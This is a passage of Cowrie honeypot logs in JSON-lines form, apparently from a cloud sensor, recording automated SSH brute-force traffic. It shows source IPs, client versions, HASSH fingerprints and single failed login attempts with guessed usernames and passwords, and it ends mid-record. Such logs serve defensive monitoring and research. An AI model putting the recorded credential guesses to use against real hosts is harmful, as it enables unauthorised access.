{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:00.738808Z","src_ip":"103.15.222.183","session":"a722cc7dcb20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"098098","message":"login attempt [root/098098] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:01.467353Z","src_ip":"103.15.222.183","session":"a722cc7dcb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:02.714414Z","src_ip":"103.15.222.183","session":"a722cc7dcb20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":56844,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc038c285fd5","protocol":"ssh","message":"New connection: 103.27.238.114:56844 (159.203.135.109:22) [session: dc038c285fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:16.007416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:16.012799Z","src_ip":"103.27.238.114","session":"dc038c285fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:16.275184Z","src_ip":"103.27.238.114","session":"dc038c285fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flhtyfkby","message":"login attempt [root/flhtyfkby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:17.058779Z","src_ip":"103.27.238.114","session":"dc038c285fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:18.323161Z","src_ip":"103.27.238.114","session":"dc038c285fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":16800,"dst_ip":"159.203.135.109","dst_port":22,"session":"cab0954235d1","protocol":"ssh","message":"New connection: 38.93.206.2:16800 (159.203.135.109:22) [session: cab0954235d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:23.356811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:23.361515Z","src_ip":"38.93.206.2","session":"cab0954235d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:23.412683Z","src_ip":"38.93.206.2","session":"cab0954235d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01010101","message":"login attempt [root/01010101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:23.567536Z","src_ip":"38.93.206.2","session":"cab0954235d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:24.621374Z","src_ip":"38.93.206.2","session":"cab0954235d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.26490306854248,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:30.864716Z","src_ip":"192.119.13.58","session":"39d5db13dc6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":43864,"dst_ip":"10.17.0.5","dst_port":22,"session":"110da02e83f3","protocol":"ssh","message":"New connection: 43.130.57.37:43864 (10.17.0.5:22) [session: 110da02e83f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:34.286265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:34.290510Z","src_ip":"43.130.57.37","session":"110da02e83f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:34.359292Z","src_ip":"43.130.57.37","session":"110da02e83f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gns3","message":"login attempt [root/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:34.665354Z","src_ip":"43.130.57.37","session":"110da02e83f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:35.738590Z","src_ip":"43.130.57.37","session":"110da02e83f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":39334,"dst_ip":"159.203.135.109","dst_port":22,"session":"476432cc263e","protocol":"ssh","message":"New connection: 80.66.85.226:39334 (159.203.135.109:22) [session: 476432cc263e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:37.624403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:37.628683Z","src_ip":"80.66.85.226","session":"476432cc263e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:37.717896Z","src_ip":"80.66.85.226","session":"476432cc263e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrey1","message":"login attempt [root/andrey1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:37.986999Z","src_ip":"80.66.85.226","session":"476432cc263e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:39.078797Z","src_ip":"80.66.85.226","session":"476432cc263e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":47226,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d60b7d8fa20","protocol":"ssh","message":"New connection: 43.228.112.254:47226 (10.17.0.5:22) [session: 1d60b7d8fa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:43.736691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:43.741438Z","src_ip":"43.228.112.254","session":"1d60b7d8fa20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:43.967642Z","src_ip":"43.228.112.254","session":"1d60b7d8fa20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tricia","message":"login attempt [root/tricia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:44.899737Z","src_ip":"43.228.112.254","session":"1d60b7d8fa20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:46.127842Z","src_ip":"43.228.112.254","session":"1d60b7d8fa20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":47970,"dst_ip":"10.17.0.5","dst_port":22,"session":"98dae8f31996","protocol":"ssh","message":"New connection: 103.183.114.55:47970 (10.17.0.5:22) [session: 98dae8f31996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:57.124452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:57.129687Z","src_ip":"103.183.114.55","session":"98dae8f31996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:57.351606Z","src_ip":"103.183.114.55","session":"98dae8f31996","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty55","message":"login attempt [root/qwerty55] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:58.007150Z","src_ip":"103.183.114.55","session":"98dae8f31996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:59.228708Z","src_ip":"103.183.114.55","session":"98dae8f31996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":46232,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee6678e6b6b8","protocol":"ssh","message":"New connection: 176.65.148.108:46232 (10.17.0.5:22) [session: ee6678e6b6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:59.561808Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:59.645782Z","src_ip":"176.65.148.108","session":"ee6678e6b6b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":46234,"dst_ip":"10.17.0.5","dst_port":22,"session":"696e6e03142d","protocol":"ssh","message":"New connection: 176.65.148.108:46234 (10.17.0.5:22) [session: 696e6e03142d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:59.724452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:59.729420Z","src_ip":"176.65.148.108","session":"696e6e03142d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:59.811824Z","src_ip":"176.65.148.108","session":"696e6e03142d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"aaa","message":"login attempt [aaa/aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:00.061506Z","src_ip":"176.65.148.108","session":"696e6e03142d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:01.156073Z","src_ip":"176.65.148.108","session":"696e6e03142d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.93.28.9","src_port":47632,"dst_ip":"10.17.0.5","dst_port":22,"session":"2985420ca958","protocol":"ssh","message":"New connection: 41.93.28.9:47632 (10.17.0.5:22) [session: 2985420ca958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:13.764553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:13.769820Z","src_ip":"41.93.28.9","session":"2985420ca958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nis